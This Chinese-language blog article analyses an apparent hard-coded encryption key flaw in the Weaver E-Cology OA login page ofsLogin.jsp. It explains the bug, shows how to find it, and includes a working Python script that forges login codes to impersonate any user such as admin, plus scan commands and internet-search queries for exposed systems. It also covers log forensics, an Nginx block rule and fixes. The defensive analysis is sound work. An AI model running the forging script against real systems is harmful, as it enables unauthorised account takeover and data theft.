硬编码密钥漏洞深度解析:从泛微OA ofsLogin.jsp看Web安全风险与防御
2026/6/24 22:25:13 网站建设 项目流程

1. 项目概述:一次典型的硬编码密钥漏洞挖掘之旅

最近在分析一些主流OA系统的安全状况时,泛微E-Cology的ofsLogin.jsp文件引起了我的注意。这个看似普通的登录处理页面,背后却隐藏着一个足以让整个系统门户洞开的风险——硬编码的加密密钥。简单来说,攻击者无需知道任何用户的密码,只要构造一个特定的请求,就能以任意用户身份登录系统,获取其所有权限。这听起来像是电影里的情节,但在实际的渗透测试和代码审计中,这类因开发者“图省事”而埋下的雷却屡见不鲜。今天,我就来详细拆解这个漏洞的来龙去脉,从漏洞原理、定位过程、利用方式到修复建议,带你走完一次完整的漏洞分析实战。无论你是安全研究员、运维人员还是对Web安全感兴趣的开发者,理解这个案例都能让你对“安全配置”和“代码规范”有更深刻的认识。

2. 漏洞原理深度解析:硬编码密钥为何是“原罪”

2.1 什么是硬编码密钥?

在软件开发中,“硬编码”指的是将本应作为配置项、动态获取或由安全模块管理的敏感信息(如密码、API密钥、加密密钥)直接以明文形式写入源代码中。ofsLogin.jsp文件中的加密密钥,正是这样一个被“写死”在JSP页面里的字符串。从开发者的角度看,这可能只是为了实现某个登录跳转或单点登录(SSO)集成功能的“快捷方式”,但站在安全角度,这等同于将大门的钥匙直接放在了门框上。

加密算法的安全性建立在密钥的保密性之上。无论是AES、DES还是简单的自定义加密,一旦密钥泄露,整个加密过程就形同虚设。硬编码密钥使得所有部署了该版本E-Cology的系统都使用同一把“万能钥匙”,攻击者只要分析一次代码,就能攻破成千上万个系统。

2.2 ofsLogin.jsp 的功能与风险定位

ofsLogin.jsp文件通常位于泛微E-Cology的Web应用根目录下,其设计初衷可能是为了处理来自其他系统的登录请求,或者实现某种形式的免密登录。其核心风险逻辑一般包含以下几步:

  1. 接收参数:页面会接收来自URL或POST请求的参数,例如userid(用户名)、codetoken(经过加密的凭证)。
  2. 密钥硬编码:在代码中直接定义了一个用于解密code/token参数的字符串密钥,例如String key = "Weaver2018";
  3. 解密验证:使用该硬编码密钥对传入的加密凭证进行解密操作。
  4. 登录模拟:如果解密成功,并且解密出的内容与userid匹配或符合某种格式,则系统会认为这是一个合法请求,直接为对应的userid创建登录会话,绕过正常的密码验证流程。

问题的核心在于第2步和第3步。由于密钥是固定的,攻击者可以轻松地从JSP文件(有时即使无法直接下载,也能通过其他信息推断或从其他漏洞中获取)中提取该密钥。一旦拥有密钥,他就可以伪造任何用户的加密凭证。

注意:在实际审计中,这类文件可能不叫ofsLogin.jsp,也可能是ssologin.jspthirdpartyLogin.do等,但其风险模式高度一致:接收外部参数、使用固定密钥进行加解密或哈希比对、最终绕过主认证逻辑。

2.3 关联风险与攻击面扩大

这个漏洞的危害远不止“登录一个系统”。结合你提供的热搜词,我们可以看到其巨大的衍生风险:

  • 泛微获取流程id / 读取附件信息:登录后,攻击者可以访问企业内部的所有审批流程,查看甚至篡改敏感信息,通过接口读取邮件、文档附件。
  • 连接外部数据源:如果OA系统集成了数据库、ERP等外部数据源,攻击者就能通过OA系统作为跳板,访问这些更核心的业务数据。
  • 创建Webservice审批流:攻击者可以冒充高权限用户,创建恶意的审批流程或调用内部接口,进行数据渗出或进一步的内网横向移动。
  • 前端JavaScript与字段操纵:登录后,结合其他前端漏洞(如你提到的changefieldattr),可能实现更精细的数据篡改。

本质上,一个后台的任意用户登录漏洞,为攻击者打开了整个OA生态系统的入口,后续的利用仅受限于该用户账号本身的权限和系统功能。

3. 漏洞挖掘与定位实操记录

3.1 静态代码分析:从文件枚举到关键代码定位

对于这类已知路径的漏洞,第一步往往是文件发现。我们可以使用一些工具或技巧:

  1. 目录扫描:使用dirsearchgobuster等工具,针对目标泛微OA系统进行目录和文件扫描,重点寻找.jsp.do后缀的文件。
    # 示例命令 gobuster dir -u https://target-oa.com/ -w /path/to/common_jsp_files.txt -x jsp,do
  2. 源码泄露排查:检查是否存在.git泄露、WEB-INF/web.xml泄露、备份文件(如ofsLogin.jsp.bakofsLogin.jsp.old)等,这些可能直接暴露源代码。
  3. 反编译分析:如果无法直接获取JSP源码,但能下载到/WEB-INF/classes/下的class文件,可以使用JD-GUI、CFR等Java反编译工具进行分析,搜索包含ofsLoginlogindecryptkey等关键词的类。

找到疑似文件后,用文本编辑器或IDE打开进行人工审计。搜索以下关键词:

  • String.*key.*=final.*KEY.*=
  • Cipher.getInstance
  • DESAESBase64.decode
  • session.setAttribute.*LOGIN_USERUserUtil.*setUserToSession

3.2 动态流量分析:捕捉登录跳转请求

很多时候,这类接口并非孤立存在,而是被其他功能调用。我们可以进行动态测试:

  1. 正常功能点测试:关注系统中所有“单点登录”、“第三方集成登录”、“手机扫码登录”等功能点。
  2. 代理抓包:配置Burp Suite或ZAP作为代理,在触发上述功能时,仔细观察所有HTTP请求。寻找那些包含userid和一段看似乱码(Base64编码或加密后Hex字符串)的codetokenticket参数的请求,其目标URL很可能就是存在漏洞的端点。
  3. 参数模糊测试:如果找到了疑似端点,可以尝试直接访问,并修改useridcode参数,观察响应。例如,将userid改为已知的管理员账号,code参数随意填写或留空,看系统是否会返回不同的错误信息,这有助于确认漏洞是否存在。

3.3 密钥的识别与提取

ofsLogin.jsp文件中,密钥的硬编码形式可能多种多样:

  • 直接字符串String key = "Weaver@2023";
  • 经过简单运算String key = "Weaver" + "2019";(编译后等同于Weaver2019
  • 静态常量private static final String SECRET_KEY = "E_COLOGY_KEY";

在审计时,不能只搜索key,还要注意变量名可能为secretpasswordsaltiv(初始化向量)等。找到密钥后,需要结合上下文的加密算法(如AES/ECB/PKCS5Padding)来判断其用途。

4. 漏洞利用构造与验证

4.1 还原加密逻辑

要伪造凭证,必须理解服务器端的解密逻辑。通常代码中会包含类似以下段落:

// 伪代码示例 String encryptedCode = request.getParameter("code"); String userId = request.getParameter("userid"); String hardcodedKey = "Weaver2024"; Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(hardcodedKey.getBytes(), "AES")); byte[] decryptedBytes = cipher.doFinal(Base64.getDecoder().decode(encryptedCode)); String decryptedInfo = new String(decryptedBytes); // 假设解密后的格式为 "userid|timestamp" if (decryptedInfo.startsWith(userId + "|")) { // 登录成功,创建会话 HttpSession session = request.getSession(); session.setAttribute("LOGIN_USER_ID", userId); // ... 其他登录成功操作 }

从这段代码我们可以推断出,合法的code应该是使用相同的密钥和算法,对"userid|timestamp"这样的字符串进行加密,然后做Base64编码的结果。

4.2 编写利用脚本

因此,我们的利用脚本需要做相反的事情:使用找到的硬编码密钥,加密我们想冒充的用户名(通常拼接一个时间戳),生成code。以下是一个Python示例:

import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import pad import time def exploit_weaver_ofsLogin(target_url, hardcoded_key, target_user): """ 构造泛微 ofsLogin.jsp 任意用户登录的请求。 """ # 1. 构造明文。根据实际代码逻辑调整格式,常见如 "user|timestamp" timestamp = str(int(time.time() * 1000)) # 毫秒时间戳 plaintext = f"{target_user}|{timestamp}".encode('utf-8') # 2. 使用硬编码密钥进行AES ECB加密 (根据实际算法调整) # 注意:密钥长度需要符合算法要求,如AES-128需要16字节密钥,可能需要补位 key_bytes = hardcoded_key.encode('utf-8') if len(key_bytes) < 16: key_bytes = key_bytes.ljust(16, b'\0') # 补零至16字节 elif len(key_bytes) > 16: key_bytes = key_bytes[:16] cipher = AES.new(key_bytes, AES.MODE_ECB) encrypted_bytes = cipher.encrypt(pad(plaintext, AES.block_size)) # 3. Base64编码 encrypted_code = base64.b64encode(encrypted_bytes).decode('utf-8') # 4. 构造请求 import requests params = { 'userid': target_user, 'code': encrypted_code, # 可能还有其他参数,如 'type', 'sysid' 等,需根据实际情况添加 } # 通常为GET请求,也可能是POST resp = requests.get(target_url, params=params, allow_redirects=False) # 5. 检查响应 # 登录成功可能表现为:302跳转到首页、Set-Cookie包含有效session、返回特定成功信息 if resp.status_code == 302 or 'LOGIN_USER' in resp.text: print(f"[+] 可能利用成功!用户: {target_user}") print(f" 响应状态码: {resp.status_code}") print(f" 响应头Location: {resp.headers.get('Location', 'None')}") # 尝试从响应中提取Cookie if 'Set-Cookie' in resp.headers: print(f" 返回的Cookie: {resp.headers['Set-Cookie']}") else: print(f"[-] 利用可能失败。状态码: {resp.status_code}") print(f" 响应预览: {resp.text[:200]}") # 使用示例 if __name__ == "__main__": # 替换为实际信息 VULN_URL = "https://target-oa.com/ofsLogin.jsp" HARDCODED_KEY = "Weaver2024" # 从源码中提取的密钥 TARGET_USER = "admin" # 或已知的其他用户名,如 'system', 'administrator' exploit_weaver_ofsLogin(VULN_URL, HARDCODED_KEY, TARGET_USER)

4.3 利用过程验证与结果判断

运行脚本后,如何判断是否利用成功?

  1. 响应码:返回302 Found并跳转到主页面(/wui/index.jsp)是强烈成功信号。
  2. Set-Cookie:响应头中包含了新的JSESSIONID等Cookie,且后续使用该Cookie能访问需认证的页面。
  3. 响应内容:页面内容包含“登录成功”、“欢迎”等字样,或者直接显示了目标用户的个人门户。
  4. 会话验证:最可靠的方式是,用脚本自动处理返回的Cookie,然后访问一个需要登录的API或页面,如/api/hrm/getUserInfo,看是否能成功获取用户信息。

实操心得:在实际测试中,时间戳的格式和精度(秒/毫秒)、明文的拼接格式(是否有分隔符、是否包含其他固定字符串)是关键。如果第一次不成功,可以尝试抓取一个系统其他功能生成的合法code(如果有办法获取的话),进行Base64解码和尝试解密分析,从而精确还原其明文格式。此外,注意服务器的时区,时间戳可能需要进行本地偏移调整。

5. 影响范围与应急排查方案

5.1 漏洞影响版本与资产排查

该漏洞并非特定于某个版本,而是存在于使用了存在硬编码密钥ofsLogin.jsp(或类似功能文件)的所有泛微E-Cology版本中。影响范围极广。

排查方法:

  1. 文件检查:直接访问http(s)://[your-oa-domain]/ofsLogin.jsp,观察响应。如果返回404,可能文件不存在或路径不同。如果返回200且有内容(即使是空白或错误),都需要警惕。
  2. 代码审计:对存疑的JSP文件进行源代码检查,搜索硬编码密钥。
  3. 全网测绘:使用网络空间搜索引擎(如FOFA、Shodan、ZoomEye),搜索body="泛微OA" && body="E-Cology"title="泛微",可以快速定位在互联网上暴露的泛微OA系统,数量通常非常庞大。

5.2 入侵痕迹排查

如果怀疑系统已被利用,应立刻进行以下排查:

  1. Web日志分析:重点检查访问日志(如Tomcat的localhost_access_log.*.txt)中所有对ofsLogin.jsp的请求。寻找来源IP异常、userid参数为非常用管理员账号或已离职员工账号的记录。
    # Linux下示例命令 grep "ofsLogin.jsp" localhost_access_log.2024-*.txt | grep -v "127.0.0.1" | awk '{print $1, $7}' | sort | uniq -c | sort -nr
  2. 数据库日志与登录日志:检查E-Cology数据库中的HrmLoginLog(表名可能不同)等登录日志表,寻找在极短时间内、从同一IP用不同账号成功登录的异常记录,或者寻找通过“单点登录”等特殊方式登录的记录。
  3. 系统后门检查:攻击者登录后,可能会上传Webshell或创建恶意后门账号。检查webapps目录下近期新增的异常.jsp.jspx文件,检查数据库HrmResource表中新增的、权限异常的用户。

5.3 临时缓解措施

在打补丁或修复前,可采取以下紧急措施:

  1. 访问控制:在WAF或应用服务器(如Nginx)层面,立即拦截或返回403错误码。
    # Nginx 配置示例 location ~ ^/ofsLogin\.jsp$ { deny all; return 403; }
  2. 删除或重命名文件:直接备份后删除服务器上的ofsLogin.jsp文件,或将其重命名为ofsLogin.jsp.bak_disabled注意:这可能会影响正常的单点登录等集成功能,需评估业务影响。
  3. 网络隔离:如果条件允许,将OA系统从互联网隔离,仅允许通过VPN或内网访问。

6. 根源修复与安全开发建议

6.1 官方修复方案

最根本的解决方法是升级到泛微官方已修复该漏洞的最新版本,并应用所有安全补丁。请联系泛微官方技术支持,获取针对此漏洞的特定补丁包。在打补丁前,务必在测试环境充分验证。

6.2 自定义安全加固方案

如果无法立即升级,可以考虑在理解业务逻辑的前提下进行代码级修复:

  1. 移除硬编码,引入动态密钥:将密钥从代码中移除,改为从安全的配置中心、环境变量或加密的配置文件中读取。密钥应具备系统唯一性。
    // 修复后示例:从环境变量读取 String key = System.getenv("ECOLOGY_SSO_SECRET_KEY"); if (key == null || key.isEmpty()) { throw new RuntimeException("SSO密钥未配置"); }
  2. 增强验证逻辑
    • 时间戳校验:解密后,严格校验时间戳的有效期(如仅接受5分钟内的请求),防止重放攻击。
    • 来源IP白名单:如果该接口仅用于特定系统集成,可以绑定调用方IP白名单。
    • 数字签名:改用非对称加密或HMAC签名方式。集成方使用私钥对信息签名,OA系统使用公钥验签,彻底避免密钥共享带来的风险。
  3. 禁用或重构高危接口:如果该接口业务上已不再使用,应直接删除。如果必须使用,应将其纳入统一的安全认证网关管理,进行严格的请求签名、频率限制和审计。

6.3 安全开发规范启示

这个漏洞是安全开发意识不足的典型案例。在后续开发中,必须建立并遵守以下规范:

  • 严禁硬编码:将“禁止在源代码中硬编码任何密码、密钥、API Token”作为红线。所有机密信息必须通过安全的配置管理系统传递。
  • 最小权限原则ofsLogin.jsp这类接口权限过高。应遵循最小权限原则,即使通过该接口登录,也应赋予一个最低限度的、仅用于后续完整认证的临时令牌,而非直接完成全部登录。
  • 代码安全审计常态化:将静态代码安全扫描(SAST)纳入CI/CD流程,自动检测硬编码密钥、弱加密算法等安全问题。
  • 第三方组件安全评估:在引入任何第三方组件、示例代码或进行二次开发时,必须对其安全性进行评审,不能盲目复制粘贴。

7. 拓展思考:从单一漏洞到体系化防御

泛微ofsLogin.jsp漏洞虽然原理简单,但它像一面镜子,映照出企业应用安全中许多共性问题。我们不应止步于修复这一个点。

首先,漏洞关联利用是常态。攻击者很少只用一个漏洞。他们可能通过此漏洞进入系统,然后利用“泛微OA前端JavaScript changefieldattr”这类客户端漏洞进行数据篡改,再利用“泛微获取流程id”的接口窃取数据,最后通过“连接外部数据源”的功能跳转到更核心的数据库。防御必须体系化,堵住一个洞的同时,要检查它可能连通的其他房间。

其次,默认不安全配置是帮凶。很多OA系统在安装后存在默认后台路径、默认弱口令、开启调试模式等问题。运维人员需要一份详细的安全配置核查清单,在系统上线前逐一关闭不必要的服务、修改默认凭证、更新已知漏洞组件。

再者,日志与监控缺失让攻击者长期潜伏。如果企业没有集中收集和分析OA系统的访问日志、登录日志、数据库操作日志,那么即使被入侵,也可能毫无察觉。建议部署SIEM(安全信息与事件管理)系统,对ofsLogin.jsp的访问、非常规时间登录、管理员账号异地登录等行为设置告警规则。

最后,安全意识是最后一道防线。开发人员需要接受安全编码培训;运维人员需要了解如何安全配置和维护;普通员工则应警惕钓鱼邮件和社交工程,因为攻击者可能先骗取一个低权限账号,再利用漏洞提升权限。定期的渗透测试和红蓝对抗演练,能有效发现和修复这类“沉睡”在系统中的安全隐患。

这个漏洞的分析过程告诉我们,安全是一个持续的过程,而非一劳永逸的状态。每一次对漏洞的深入剖析,不仅是为了修复它,更是为了构建起更敏锐的安全视角和更稳固的防御体系。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询